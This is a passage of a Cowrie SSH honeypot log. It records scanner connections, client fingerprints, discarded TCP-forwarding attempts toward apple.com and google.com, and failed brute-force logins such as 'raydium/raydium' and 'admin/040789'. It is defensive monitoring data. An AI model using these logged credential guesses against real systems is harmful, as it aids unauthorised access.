\\xb1\\xb1Z\\xad%BW\\xea;?\\xeb\\x9b\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x90\\x82\\x8e[&\\x0cl\\xec\\xc8\\xd6\\x89\\xb2=k-j\\xf6\\x91\\x1c\\x007V\\x0c\\xb2\\x9d=\\xed\\x1f\\xbf\\xe9\\xcc\\x0b\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.220.112.242:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8bA\\xf3\\x96\\x8dlF\\x1a3\\x88\\x80\\xa2[\\xdd\\xc9\\x1aR\\xce\\x06pg!i\\xe9\\xd3k`\\xff\\x0c\\x05\\xbf\\xbb \\x10u\\xe6\\xc2\\xb9\\xdc\\x9bPPpS\\xaf&t\\xb6\\xf2\\xaf\\xb5\\xb4 \\xb1\\xb1Z\\xad%BW\\xea;?\\xeb\\x9b\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x90\\x82\\x8e[&\\x0cl\\xec\\xc8\\xd6\\x89\\xb2=k-j\\xf6\\x91\\x1c\\x007V\\x0c\\xb2\\x9d=\\xed\\x1f\\xbf\\xe9\\xcc\\x0b\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:08.296558Z","src_ip":"185.156.73.233","session":"4acb326e52dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.152.119","dst_port":443,"src_ip":"185.156.73.233","src_port":35144,"message":"direct-tcp connection request to 142.251.152.119:443 from 127.0.0.1:35144","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:08.824209Z","session":"4acb326e52dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.152.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.152.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:09.982653Z","src_ip":"185.156.73.233","session":"4acb326e52dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.152.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03a\\xae\\x01t\\x80\\x02\\xea\\xe5\\xfa(\\xfc\\xf3b!\\xa9\\x08\\x1f\\xea\\x9e\\x8d\\xb0G\\xd2\\xedH\\xd5]!\\t\\xad\\xe9c \\xc5m\\x1619P\\xb8\\xee\\xa5\\x96\\x8cG\\xe4\\xe4\\xff+F\\xe8T\\x13\\xd4W\\xf8\\x11C\\xd4\\xcda\\x84\\xef\\x11-\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd1\\x1a\\xc6\\xbd\\xfb\\xefA\\x95\\x14c\\xbf^.\\x07\\x17\\xe5\\xe5\\xbfB;\\xeb,\\xf0T\\xf8Ai\\xec\\xc4\\x99\\xe5/\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.152.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03a\\xae\\x01t\\x80\\x02\\xea\\xe5\\xfa(\\xfc\\xf3b!\\xa9\\x08\\x1f\\xea\\x9e\\x8d\\xb0G\\xd2\\xedH\\xd5]!\\t\\xad\\xe9c \\xc5m\\x1619P\\xb8\\xee\\xa5\\x96\\x8cG\\xe4\\xe4\\xff+F\\xe8T\\x13\\xd4W\\xf8\\x11C\\xd4\\xcda\\x84\\xef\\x11-\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd1\\x1a\\xc6\\xbd\\xfb\\xefA\\x95\\x14c\\xbf^.\\x07\\x17\\xe5\\xe5\\xbfB;\\xeb,\\xf0T\\xf8Ai\\xec\\xc4\\x99\\xe5/\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:09.986033Z","src_ip":"185.156.73.233","session":"4acb326e52dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:10.978788Z","src_ip":"185.156.73.233","session":"4acb326e52dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":53464,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c583d1db939","protocol":"ssh","message":"New connection: 2.57.122.210:53464 (10.17.0.5:22) [session: 4c583d1db939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:28.712600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:28.716917Z","src_ip":"2.57.122.210","session":"4c583d1db939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:28.817441Z","src_ip":"2.57.122.210","session":"4c583d1db939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:29.118663Z","src_ip":"2.57.122.210","session":"4c583d1db939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:30.220819Z","src_ip":"2.57.122.210","session":"4c583d1db939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.129.230.191","src_port":57385,"dst_ip":"159.203.135.109","dst_port":22,"session":"542160706de8","protocol":"ssh","message":"New connection: 82.129.230.191:57385 (159.203.135.109:22) [session: 542160706de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:54:06.563975Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:54:06.568786Z","src_ip":"82.129.230.191","session":"542160706de8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":36788,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f0abe65cb06","protocol":"ssh","message":"New connection: 195.178.110.218:36788 (159.203.135.109:22) [session: 2f0abe65cb06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:54:20.403466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:54:20.407812Z","src_ip":"195.178.110.218","session":"2f0abe65cb06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:54:20.482728Z","src_ip":"195.178.110.218","session":"2f0abe65cb06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:54:20.708431Z","src_ip":"195.178.110.218","session":"2f0abe65cb06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:54:21.785765Z","src_ip":"195.178.110.218","session":"2f0abe65cb06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":20415,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c7ce324d82a","protocol":"ssh","message":"New connection: 2.57.121.112:20415 (159.203.135.109:22) [session: 0c7ce324d82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:29.041871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:29.046426Z","src_ip":"2.57.121.112","session":"0c7ce324d82a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:29.155406Z","src_ip":"2.57.121.112","session":"0c7ce324d82a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040789","message":"login attempt [admin/040789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:29.649764Z","src_ip":"2.57.121.112","session":"0c7ce324d82a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040787","message":"login attempt [admin/040787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:30.757745Z","src_ip":"2.57.121.112","session":"0c7ce324d82a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040681","message":"login attempt [admin/040681] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:31.867095Z","src_ip":"2.57.121.112","session":"0c7ce324d82a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04061997","message":"login attempt [admin/04061997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:32.975854Z","src_ip":"2.57.121.112","session":"0c7ce324d82a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04061971","message":"login attempt [admin/04061971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:34.084338Z","src_ip":"2.57.121.112","session":"0c7ce324d82a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:35.193241Z","src_ip":"2.57.121.112","session":"0c7ce324d82a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":56226,"dst_ip":"10.17.0.5","dst_port":22,"session":"53a2d2bb982c","protocol":"ssh","message":"New connection: 2.57.122.210:56226 (10.17.0.5:22) [session: 53a2d2bb982c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:43.502587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:55:43.506906Z","src_ip":"2.57.122.210","session":"53a2d2bb982c","protocol":"ssh"}
